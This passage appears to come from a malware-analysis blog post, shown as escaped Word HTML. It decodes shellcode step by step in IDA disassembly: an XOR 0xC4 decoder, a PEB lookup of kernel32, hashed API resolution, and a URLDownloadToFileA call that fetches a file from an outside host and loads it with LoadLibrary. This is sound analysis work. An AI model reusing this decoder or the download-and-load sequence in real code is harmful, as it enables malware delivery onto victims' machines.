style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;The first call is a call to an address in itself?&lt;span style=""&gt;  &lt;/span&gt;This is strange?&lt;span style=""&gt;  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="background: rgb(221, 217, 195) none repeat scroll 0% 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;call&lt;span style=""&gt;    &lt;/span&gt;near ptr loc_134+4&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;This calls 0x0138, and the next instruction is at 0x139?&lt;span style=""&gt;  &lt;/span&gt;Let’s right click and undefined and start at 0x138:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;div style="border: 1pt solid windowtext; padding: 1pt 4pt;"&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000138&lt;span style=""&gt;                 &lt;/span&gt;inc&lt;span style=""&gt;     &lt;/span&gt;ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:0000013A&lt;span style=""&gt;                 &lt;/span&gt;pop&lt;span style=""&gt;     &lt;/span&gt;esi&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:0000013B&lt;span style=""&gt;                 &lt;/span&gt;lea&lt;span style=""&gt;     &lt;/span&gt;ecx, [esi+10h]&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:0000013E&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: yellow none repeat scroll 0% 0%; font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;seg000:0000013E loc_13E:&lt;span style=""&gt;                                &lt;/span&gt;; CODE XREF: seg000:00000147j&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: yellow none repeat scroll 0% 0%; font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;seg000:0000013E&lt;span style=""&gt;                 &lt;/span&gt;xor&lt;span style=""&gt;     &lt;/span&gt;byte ptr [ecx], 0C4h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: yellow none repeat scroll 0% 0%; font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;seg000:00000141&lt;span style=""&gt;                 &lt;/span&gt;inc&lt;span style=""&gt;     &lt;/span&gt;ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: yellow none repeat scroll 0% 0%; font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;seg000:00000142&lt;span style=""&gt;                 &lt;/span&gt;cmp&lt;span style=""&gt;     &lt;/span&gt;word ptr [ecx], 5045h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: yellow none repeat scroll 0% 0%; font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;seg000:00000147&lt;span style=""&gt;                 &lt;/span&gt;jnz&lt;span style=""&gt;     &lt;/span&gt;short loc_13E&lt;/span&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000149&lt;span style=""&gt;                 &lt;/span&gt;scasb&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:0000014A&lt;span style=""&gt;                 &lt;/span&gt;mov&lt;span style=""&gt;     &lt;/span&gt;byte ptr [ebp-157AB060h], 4Fh ; 'O'&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000151&lt;span style=""&gt;                 &lt;/span&gt;test&lt;span style=""&gt;    &lt;/span&gt;cl, al&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000153&lt;span style=""&gt;             &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;dec&lt;span style=""&gt;     &lt;/span&gt;edi&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000154&lt;span style=""&gt;                 &lt;/span&gt;test&lt;span style=""&gt;    &lt;/span&gt;bl, al&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000156&lt;span style=""&gt;                 &lt;/span&gt;dec&lt;span style=""&gt;     &lt;/span&gt;edi&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000157&lt;span style=""&gt;                 &lt;/span&gt;les&lt;span style=""&gt;     &lt;/span&gt;ecx, [edi-64h]&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:0000015A&lt;span style=""&gt;                 &lt;/span&gt;int&lt;span style=""&gt;     &lt;/span&gt;3&lt;span style=""&gt;               &lt;/span&gt;; Trap to Debugger&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;This is a bit better, so the call into itself at 0x138 executes an “inc ecx” which is inconsequential.&lt;span style=""&gt;  &lt;/span&gt;The current address on the stack is popped into ESI and the address + 0x10 is loaded into ECX and passed to an XOR loop starting at 0x13E. (Highlighted)&lt;span style=""&gt;  &lt;/span&gt;This routine will XOR each byte starting at 0x149 until a (0x45 0x50) is located, then the loop will exit.&lt;span style=""&gt;  &lt;/span&gt;Let’s see what happens when the rest of this code is XOR’d:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;div style="border: 1pt solid windowtext; padding: 1pt 4pt;"&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:0000013E loc_13E:&lt;span style=""&gt;                                &lt;/span&gt;; CODE XREF: seg000:00000147j&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:0000013E&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;               &lt;/span&gt;xor&lt;span style=""&gt;     &lt;/span&gt;byte ptr [ecx], 0C4h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000141&lt;span style=""&gt;                 &lt;/span&gt;inc&lt;span style=""&gt;     &lt;/span&gt;ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000142&lt;span style=""&gt;                 &lt;/span&gt;cmp&lt;span style=""&gt;     &lt;/span&gt;word ptr [ecx], 5045h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000147&lt;span style=""&gt;                 &lt;/span&gt;jnz&lt;span style=""&gt;     &lt;/span&gt;short loc_13E&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: yellow none repeat scroll 0% 0%; font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;seg000:00000149&lt;span style=""&gt;                 &lt;/span&gt;push&lt;span style=""&gt;    &lt;/span&gt;2&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: yellow none repeat scroll 0% 0%; font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;seg000:0000014B&lt;span style=""&gt;                 &lt;/span&gt;pop&lt;span style=""&gt;     &lt;/span&gt;ecx&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: yellow none repeat scroll 0% 0%; font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;seg000:0000014C&lt;span style=""&gt;                 &lt;/span&gt;mov&lt;span style=""&gt;     &lt;/span&gt;eax, fs:[ecx+2Eh] ; fs:[30]&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: yellow none repeat scroll 0% 0%; font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;seg000:00000150&lt;span style=""&gt;                 &lt;/span&gt;mov&lt;span style=""&gt;     &lt;/span&gt;eax, [eax+0Ch]&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: yellow none repeat scroll 0% 0%; font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;seg000:00000153&lt;span style=""&gt;                 &lt;/span&gt;mov&lt;span style=""&gt;     &lt;/span&gt;eax, [eax+1Ch]&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: yellow none repeat scroll 0% 0%; font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;seg000:00000156&lt;span style=""&gt;                 &lt;/span&gt;mov&lt;span style=""&gt;     &lt;/span&gt;eax, [eax]&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: yellow none repeat scroll 0% 0%; font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;seg000:00000158&lt;span style=""&gt;                 &lt;/span&gt;mov&lt;span style=""&gt;     &lt;/span&gt;ebx, [eax+8]&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: yellow none repeat scroll 0% 0%; font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;seg000:0000015B&lt;span style=""&gt;                 &lt;/span&gt;lea&lt;span style=""&gt;     &lt;/span&gt;esi, [esi+9Ch]&lt;span style=""&gt;  &lt;/span&gt;; 1d5&lt;/span&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;The new code, looks much cleaner now, and it is clear that it is now looking up the base address of kernel32.dll in the PEB at 0x14C {fs:[30]}.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;If we look further down where the match for the 0x45 0x50 stopped the XOR loop we see the name of a module to be loaded, a URL and several chunks of data that are hashes used to look up API calls.&lt;span style=""&gt;  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;Commented disassembly:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;div style="border: 1pt solid windowtext; padding: 1pt 4pt;"&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:000001D5&lt;span style=""&gt;                 &lt;/span&gt;dd 768AA260h&lt;span style=""&gt;            &lt;/span&gt;; ExitThread&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:000001D9&lt;span style=""&gt;                 &lt;/span&gt;dd 0C8AC8026h&lt;span style=""&gt;           &lt;/span&gt;; LoadLibrary&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:000001DD aUrlmon&lt;span style=""&gt;         &lt;/span&gt;db 'urlmon'&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:000001E3&lt;span style=""&gt;                 &lt;/span&gt;db&lt;span style=""&gt;    &lt;/span&gt;0&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:000001E4&lt;span style=""&gt;                 &lt;/span&gt;dd 0D95D2399h&lt;span style=""&gt;           &lt;/span&gt;; URLDownloadToFileA&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:000001E8 aHttp192_168_24 db 'http://{infectedIP}:8119/becer'&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000209&lt;span style=""&gt;                 &lt;/span&gt;db&lt;span style=""&gt;    &lt;/span&gt;0&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: yellow none repeat scroll 0% 0%; font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;seg000:0000020A&lt;span style=""&gt;                 &lt;/span&gt;db 45h&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: yellow none repeat scroll 0% 0%; font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;seg000:0000020B&lt;span style=""&gt;                 &lt;/span&gt;db&lt;span style=""&gt;  &lt;/span&gt;50h ; P&lt;/span&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;b style=""&gt;&lt;span style="color: red;"&gt;&lt;-End of XOR loop&lt;/span&gt;&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;Once these hashes are matched to the exported API calls in kernel32 and urlmon, the shellcode then passes the deofuscated URL to URLDownloadToFile() via a jump.&lt;span style=""&gt;  &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="font-size: 12pt; font-family: &amp;quot;Times New Roman&amp;quot;,&amp;quot;serif&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;div style="border: 1pt solid windowtext; padding: 1pt 4pt;"&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000172&lt;span style=""&gt;                 &lt;/span&gt;call&lt;span style=""&gt;    &lt;/span&gt;HashLookup&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000177&lt;span style=""&gt;                 &lt;/span&gt;xor&lt;span style=""&gt;     &lt;/span&gt;edx, edx&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000179&lt;span style=""&gt;                 &lt;/span&gt;push&lt;span style=""&gt;    &lt;/span&gt;edx&lt;span style=""&gt;             &lt;/span&gt;; 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:0000017A&lt;span style=""&gt;                 &lt;/span&gt;push&lt;span style=""&gt;    &lt;/span&gt;edx&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:0000017B&lt;span style=""&gt;                 &lt;/span&gt;mov&lt;span style=""&gt;     &lt;/span&gt;ecx, esp&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:0000017D&lt;span style=""&gt;                 &lt;/span&gt;mov&lt;span style=""&gt;     &lt;/span&gt;word ptr [ecx], '.x'&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: silver none repeat scroll 0% 0%; font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;seg000:00000182&lt;span style=""&gt;                 &lt;/span&gt;push&lt;span style=""&gt;    &lt;/span&gt;ecx&lt;span style=""&gt;             &lt;/span&gt;; "x." for LoadLibrary&lt;/span&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;seg000:00000183&lt;span style=""&gt;                 &lt;/span&gt;push&lt;span style=""&gt;    &lt;/span&gt;dword ptr [edi+4]&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: yellow none repeat scroll 0% 0%; font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;seg000:00000186&lt;span style=""&gt;                 &lt;/span&gt;push&lt;span style=""&gt;    &lt;/span&gt;edx&lt;span style=""&gt;             &lt;/span&gt;; lpfnCB = 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: yellow none repeat scroll 0% 0%; font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;seg000:00000187&lt;span style=""&gt;                 &lt;/span&gt;push&lt;span style=""&gt;    &lt;/span&gt;edx&lt;span style=""&gt;             &lt;/span&gt;; dwReserved = 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: yellow none repeat scroll 0% 0%; font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;seg000:00000188&lt;span style=""&gt;                 &lt;/span&gt;push&lt;span style=""&gt;    &lt;/span&gt;ecx&lt;span style=""&gt;             &lt;/span&gt;; szFileName = "x."&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: yellow none repeat scroll 0% 0%; font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;"&gt;seg000:00000189&lt;span style=""&gt;                 &lt;/span&gt;push&lt;span style=""&gt;    &lt;/span&gt;esi&lt;span style=""&gt;             &lt;/span&gt;; szURL 1e8&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormalCxSpMiddle" style="border: medium none ; padding: 0in;"&gt;&lt;span style="background: yellow none repeat scroll 0% 0%; font-size: 8pt; font-family: &amp;quot;Courier New&amp;quot;; -moz-background-clip: -moz-initial; 